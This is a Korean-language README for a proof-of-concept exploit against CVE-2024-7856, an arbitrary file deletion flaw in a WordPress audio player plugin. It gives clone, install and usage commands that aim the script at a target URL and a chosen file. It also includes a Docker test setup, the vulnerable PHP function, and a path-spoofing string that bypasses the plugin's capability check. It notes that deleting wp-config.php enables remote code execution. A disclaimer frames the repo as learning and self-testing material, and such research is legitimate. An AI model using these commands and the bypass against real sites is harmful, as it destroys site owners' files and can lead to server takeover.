
Proof-of-Concept for CVE-2024-7856
★ CVE-2024-7856 임의 파일 삭제 PoC ★
CVE-2024-7856 : MP3 Audio Player – Music Player, Podcast Player & Radio by Sonaar <= 5.7.0.1 – 인증되지 않은 사용자에서 인증된(구독자 이상) 임의 파일 삭제로 이어지는 권한 누락
연구자: Arkadiusz Hydzik
설명: WordPress용 MP3 Audio Player – Music Player, Podcast Player & Radio by Sonaar 플러그인은 5.7.0.1 이하 모든 버전에서 removeTempFiles() 함수에 대한 기능 검사 누락과 'file' 매개변수의 불충분한 경로 검증으로 인해 인증되지 않은 임의 파일 삭제에 취약합니다. 이로 인해 구독자 수준 이상의 접근 권한을 가진 인증된 공격자가 임의 파일을 삭제할 수 있으며, wp-config.php가 삭제될 경우 원격 코드 실행이 가능해집니다.
git clone https://github.com/l8BL/CVE-2024-7856.git
cd CVE-2024-7856
pip install -r requirements.txt
# 임의 파일 삭제
python3 CVE-2024-7856.py -u <공격할_URL> -f <삭제할_파일>
python3 CVE-2024-7856.py -u <공격할_URL> -f <삭제할_파일> -i <로그인할_사용자_ID> -p <로그인할_사용자_PW>
python3 CVE-2024-7856.py -u http://example.com/ -f /tmp/test
python3 CVE-2024-7856.py -u http://example.com/ -f /tmp/test -i EQSTtester -p q1w2e3r4t5y!
CVE-2024-7856.py


services:
db:
image: mysql:8.0.27
command: '--default-authentication-plugin=mysql_native_password'
restart: always
environment:
- MYSQL_ROOT_PASSWORD=somewordpress
- MYSQL_DATABASE=wordpress
- MYSQL_USER=wordpress
- MYSQL_PASSWORD=wordpress
expose:
- 3306
- 33060
wordpress:
image: wordpress:6.3.2
ports:
- 80:80
restart: always
environment:
- WORDPRESS_DB_HOST=db
- WORDPRESS_DB_USER=wordpress
- WORDPRESS_DB_PASSWORD=wordpress
- WORDPRESS_DB_NAME=wordpress
volumes:
db_data:
https://downloads.wordpress.org/plugin/mp3-music-player-by-sonaar.5.7.zip
docker cp mp3-music-player-by-sonaar docker-wordpress-1:/var/www/html/wp-content/plugins
public function removeTempFiles(){
// will unlink the temporary peak file and generate another one automatically.
check_ajax_referer('sonaar_music_admin_ajax_nonce', 'nonce');
$is_temp = filter_input(INPUT_POST, 'is_temp', FILTER_VALIDATE_BOOLEAN);
$file = filter_input(INPUT_POST, 'file', FILTER_SANITIZE_STRING);
if ($is_temp && $file) {
$upload_dir = wp_get_upload_dir();
$peaks_dir = $this->get_peak_dir();
$file_path_temp = str_replace($upload_dir['baseurl'] . $this->get_peak_dir(true), $peaks_dir, $file);
if (strpos($file_path_temp, $peaks_dir) === 0 && file_exists($file_path_temp)) {
wp_delete_file($file_path_temp);
}
}
}
if (strpos($hook, SR_PLAYLIST_CPT . '_page_srmp3_settings_') === 0) {
wp_enqueue_script( 'cmb2_image_select_metafield-js', plugin_dir_url( __FILE__ ) . 'library/cmb2-image-select-field-type/image_select_metafield.js' , '', '1.0.0', true ); // Used for plugin settings page only. it does not work on group repeater fields
wp_enqueue_script( 'sonaar-music', plugin_dir_url( __DIR__ ) . 'public/js/sonaar-music-public.js', array( 'jquery' ), $this->version, true ); // used for peak generation
wp_localize_script('sonaar-admin', 'sonaar_music', array(
'plugin_version_free'=> SRMP3_VERSION,
'plugin_version_pro'=> ( defined( 'SRMP3PRO_VERSION' ) ? SRMP3PRO_VERSION : 'Not Installed' ),
'ajax' => array(
'ajax_url' => admin_url( 'admin-ajax.php' ),
'ajax_nonce' => wp_create_nonce( 'sonaar_music_admin_ajax_nonce' ),
'ajax_nonce_peaks' => wp_create_nonce( 'sonaar_music_ajax_peaks_nonce' ),
),
));
}
'경로 스푸핑' : /wp-admin/index.php/%0a/wp-admin/sr_playlist_page_srmp3_settings_
인증된 사용자로 임의 파일 삭제를 악용할 수 있습니다.
이 저장소는 CVE-2024-7856에 대한 임의 파일 삭제 익스플로잇을 목적으로 하지 않습니다. 이 프로젝트의 목적은 사람들이 이 취약점에 대해 배우고 자신의 애플리케이션을 테스트할 수 있도록 돕는 것입니다.